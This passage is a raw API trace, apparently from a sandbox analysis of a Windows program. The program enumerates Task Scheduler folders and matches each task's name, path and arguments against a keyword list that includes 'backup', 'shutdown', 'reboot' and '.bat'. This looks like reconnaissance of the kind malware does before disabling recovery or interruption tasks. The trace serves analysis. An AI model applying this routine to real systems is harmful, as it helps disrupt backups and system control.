pName=0x5cf9f8 | out: pName=0x5cf9f8*="SystemSoundsService") returned 0x0 [0194.960] IRegisteredTask:get_State (in: This=0x47fd48, pState=0x5cf9fc | out: pState=0x5cf9fc*=4) returned 0x0 [0194.962] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr="reboot") returned 0x0 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr="restart") returned 0x0 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr="shutdown") returned 0x0 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr="logoff") returned 0x0 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr=".bat") returned 0x0 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr="backup") returned 0x0 [0194.962] wcsstr (_Str="systemsoundsservice", _SubStr=".cmd") returned 0x0 [0194.962] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0194.962] IRegisteredTask:get_Definition (in: This=0x47fd48, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe08) returned 0x0 [0194.969] ITaskDefinition:get_Actions (in: This=0x47fe08, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe80) returned 0x0 [0194.969] IActionCollection:get_Count (in: This=0x47fe80, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0194.969] IActionCollection:get_Item (in: This=0x47fe80, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0194.969] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0194.969] IUnknown:Release (This=0x2463688) returned 0x1 [0194.969] IUnknown:Release (This=0x47fe80) returned 0x1 [0194.969] IUnknown:Release (This=0x47fe08) returned 0x0 [0194.969] IUnknown:Release (This=0x47fd48) returned 0x0 [0194.969] IUnknown:Release (This=0x2463648) returned 0x0 [0194.969] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0194.970] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0194.970] IUnknown:Release (This=0x47fd00) returned 0x0 [0194.970] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0194.970] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0194.970] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0194.970] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0194.970] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0194.970] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GatherNetworkInfo") returned 0x0 [0194.971] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.972] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr="reboot") returned 0x0 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr="restart") returned 0x0 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr="shutdown") returned 0x0 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr="logoff") returned 0x0 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr=".bat") returned 0x0 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr="backup") returned 0x0 [0194.972] wcsstr (_Str="gathernetworkinfo", _SubStr=".cmd") returned 0x0 [0194.972] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0194.972] IRegisteredTask:get_Definition (in: This=0x47fd00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdb0) returned 0x0 [0195.245] ITaskDefinition:get_Actions (in: This=0x47fdb0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe28) returned 0x0 [0195.245] IActionCollection:get_Count (in: This=0x47fe28, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0195.245] IActionCollection:get_Item (in: This=0x47fe28, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0195.245] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0195.245] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0195.245] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\gatherNetworkInfo.vbs") returned 0x0 [0195.245] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x50) returned 0x6d7198 [0195.245] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="reboot") returned 0x0 [0195.245] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="restart") returned 0x0 [0195.245] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="shutdown") returned 0x0 [0195.245] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="logoff") returned 0x0 [0195.245] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".bat") returned 0x0 [0195.245] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr="backup") returned 0x0 [0195.246] wcsstr (_Str="%windir%\\system32\\gathernetworkinfo.vbs", _SubStr=".cmd") returned 0x0 [0195.246] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d7198) returned 1 [0195.246] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0195.246] IUnknown:Release (This=0x2463708) returned 0x2 [0195.246] IUnknown:Release (This=0x2463708) returned 0x1 [0195.246] IUnknown:Release (This=0x47fe28) returned 0x1 [0195.246] IUnknown:Release (This=0x47fdb0) returned 0x0 [0195.246] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.246] IUnknown:Release (This=0x24636c8) returned 0x0 [0195.246] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.448] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.448] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.448] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.448] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.448] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.449] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.449] IUnknown:Release (This=0x2463648) returned 0x0 [0195.449] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd18) returned 0x0 [0195.450] ITaskFolderCollection:get_Count (in: This=0x47fd18, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.450] IUnknown:Release (This=0x47fd18) returned 0x0 [0195.450] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.450] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.450] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.451] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0195.451] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd10) returned 0x0 [0195.451] IRegisteredTask:get_Name (in: This=0x47fd10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Background Synchronization") returned 0x0 [0195.451] IRegisteredTask:get_State (in: This=0x47fd10, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0195.453] IUnknown:Release (This=0x47fd10) returned 0x0 [0195.453] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd10) returned 0x0 [0195.453] IRegisteredTask:get_Name (in: This=0x47fd10, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Logon Synchronization") returned 0x0 [0195.453] IRegisteredTask:get_State (in: This=0x47fd10, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0195.454] IUnknown:Release (This=0x47fd10) returned 0x0 [0195.454] IUnknown:Release (This=0x2463648) returned 0x0 [0195.454] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.454] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.455] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.455] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.455] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.455] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.455] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.455] IUnknown:Release (This=0x2463648) returned 0x0 [0195.455] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0195.456] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.456] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.456] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.456] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x16, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.456] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.456] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.457] IUnknown:Release (This=0x2463648) returned 0x0 [0195.457] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.458] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0195.458] ITaskFolderCollection:get_Item (in: This=0x47fcb8, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0195.458] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2463648) returned 0x0 [0195.459] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0195.459] IUnknown:Release (This=0x2463648) returned 0x0 [0195.459] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x47fd80) returned 0x0 [0195.460] ITaskFolderCollection:get_Count (in: This=0x47fd80, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0195.460] IUnknown:Release (This=0x47fd80) returned 0x0 [0195.460] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0195.460] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.460] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.460] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x17, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.460] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.461] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0195.461] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0195.461] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AnalyzeSystem") returned 0x0 [0195.461] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0195.462] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3fe8 [0195.462] wcsstr (_Str="analyzesystem", _SubStr="reboot") returned 0x0 [0195.462] wcsstr (_Str="analyzesystem", _SubStr="restart") returned 0x0 [0195.462] wcsstr (_Str="analyzesystem", _SubStr="shutdown") returned 0x0 [0195.462] wcsstr (_Str="analyzesystem", _SubStr="logoff") returned 0x0 [0195.462] wcsstr (_Str="analyzesystem", _SubStr=".bat") returned 0x0 [0195.462] wcsstr (_Str="analyzesystem", _SubStr="backup") returned 0x0 [0195.462] wcsstr (_Str="analyzesystem", _SubStr=".cmd") returned 0x0 [0195.462] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0195.463] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fdd0) returned 0x0 [0195.469] ITaskDefinition:get_Actions (in: This=0x47fdd0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe48) returned 0x0 [0195.469] IActionCollection:get_Count (in: This=0x47fe48, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0195.469] IActionCollection:get_Item (in: This=0x47fe48, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0195.469] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0195.469] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0195.469] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\System32\\powercfg.exe") returned 0x0 [0195.470] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x46) returned 0x6e7270 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="reboot") returned 0x0 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="restart") returned 0x0 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="shutdown") returned 0x0 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="logoff") returned 0x0 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".bat") returned 0x0 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr="backup") returned 0x0 [0195.470] wcsstr (_Str="%systemroot%\\system32\\powercfg.exe", _SubStr=".cmd") returned 0x0 [0195.470] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0195.470] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-energy -auto") returned 0x0 [0195.470] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3d18 [0195.470] wcsstr (_Str="-energy -auto", _SubStr="reboot") returned 0x0 [0195.470] wcsstr (_Str="-energy -auto", _SubStr="restart") returned 0x0 [0195.470] wcsstr (_Str="-energy -auto", _SubStr="shutdown") returned 0x0 [0195.470] wcsstr (_Str="-energy -auto", _SubStr="logoff") returned 0x0 [0195.470] wcsstr (_Str="-energy -auto", _SubStr=".bat") returned 0x0 [0195.470] wcsstr (_Str="-energy -auto", _SubStr="backup") returned 0x0 [0195.470] wcsstr (_Str="-energy -auto", _SubStr=".cmd") returned 0x0 [0195.470] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0195.470] IUnknown:Release (This=0x2463708) returned 0x2 [0195.470] IUnknown:Release (This=0x2463708) returned 0x1 [0195.470] IUnknown:Release (This=0x47fe48) returned 0x1 [0195.470] IUnknown:Release (This=0x47fdd0) returned 0x0 [0195.470] IUnknown:Release (This=0x47fd88) returned 0x0 [0195.470] IUnknown:Release (This=0x2463648) returned 0x0 [0195.470] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd20) returned 0x0 [0195.471] ITaskFolderCollection:get_Count (in: This=0x47fd20, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.471] IUnknown:Release (This=0x47fd20) returned 0x0 [0195.471] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.471] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.471] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.472] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.472] IUnknown:Release (This=0x2463648) returned 0x0 [0195.472] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.472] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.472] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.472] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.472] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.472] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.473] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.473] IUnknown:Release (This=0x2463648) returned 0x0 [0195.473] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.473] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.473] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.473] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.473] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.473] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0195.474] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.474] IUnknown:Release (This=0x24636c8) returned 0x0 [0195.474] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.474] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.474] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.474] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.474] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.474] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.475] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.475] IUnknown:Release (This=0x2463648) returned 0x0 [0195.475] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd38) returned 0x0 [0195.476] ITaskFolderCollection:get_Count (in: This=0x47fd38, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.476] IUnknown:Release (This=0x47fd38) returned 0x0 [0195.476] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.476] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.476] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0195.477] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.477] IUnknown:Release (This=0x2463648) returned 0x0 [0195.477] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.477] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.477] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.477] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.477] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1d, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.477] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0195.478] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0195.478] IUnknown:Release (This=0x24636c8) returned 0x0 [0195.478] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0195.478] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0195.478] IUnknown:Release (This=0x47fcb8) returned 0x0 [0195.479] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0195.479] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1e, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0195.479] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0195.479] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=4) returned 0x0 [0195.479] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0195.479] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="AutoWake") returned 0x0 [0195.480] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0195.481] IUnknown:Release (This=0x47fd00) returned 0x0 [0195.481] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0195.481] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="GadgetManager") returned 0x0 [0195.481] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0195.483] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3f98 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr="reboot") returned 0x0 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr="restart") returned 0x0 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr="shutdown") returned 0x0 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr="logoff") returned 0x0 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr=".bat") returned 0x0 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr="backup") returned 0x0 [0195.483] wcsstr (_Str="gadgetmanager", _SubStr=".cmd") returned 0x0 [0195.483] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3f98) returned 1 [0195.483] IRegisteredTask:get_Definition (in: This=0x47fd00, ppDefinition=0x5cfa08 | out: 